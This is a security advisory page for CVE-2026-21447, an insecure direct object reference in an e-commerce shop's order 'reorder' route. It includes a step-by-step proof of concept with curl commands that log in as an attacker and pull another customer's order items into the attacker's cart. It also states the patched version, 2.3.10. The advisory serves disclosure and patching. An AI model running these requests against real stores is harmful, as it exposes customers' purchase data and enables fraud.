CVE-2026-21447

描述

### Summary An Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer's order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud. ### Details The vulnerability exists in the reorder method within OrderController.php. Unlike other order-related functions like view, cancel, printInvoice that properly validate customer ownership, the reorder function retrieves orders using only the order ID without verifying that the order belongs to the authenticated customer. Code location: `packages/Webkul/Shop/src/Http/Controllers/Customer/Account/OrderController.php` Exposed Route: `packages/Webkul/Shop/src/Routes/customer-routes.php` ```php Route::get('reorder/{id}', 'reorder')->name('shop.customers.account.orders.reorder'); ``` ### PoC I. Create victim account and place an order. II. Login as attacker. III. Exploit IDOR and navigate like: http://target.xxx/customer/account/orders/reorder/1 IV. Check http://target.xxx/checkout/cart and verify exploitation. V. Victim's order items are now in Attacker's cart. ### PoC via curl: ``` curl -c cookies.txt -X POST "http://target.xxx/customer/login" -d "email=attacker@evil.com&password=123qwe" curl -b cookies.txt "http://target.xxx/customer/account/orders/reorder/1" curl -b cookies.txt "http://target/api/checkout/cart" ``` ### Impact - **Information Disclosure:** Attackers can discover what products other customers have purchased. - **Potential Fraud:** Attackers could potentially exploit this for social engineering or targeted attacks.

如何修補 CVE-2026-21447

要修補 CVE-2026-21447,請將受影響套件升級到下列已修補版本。

• —升級至 2.3.10 或更新版本

CVE-2026-21447 正在被利用嗎?

低 — EPSS 為 0.3%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• from 0, < 2.3.10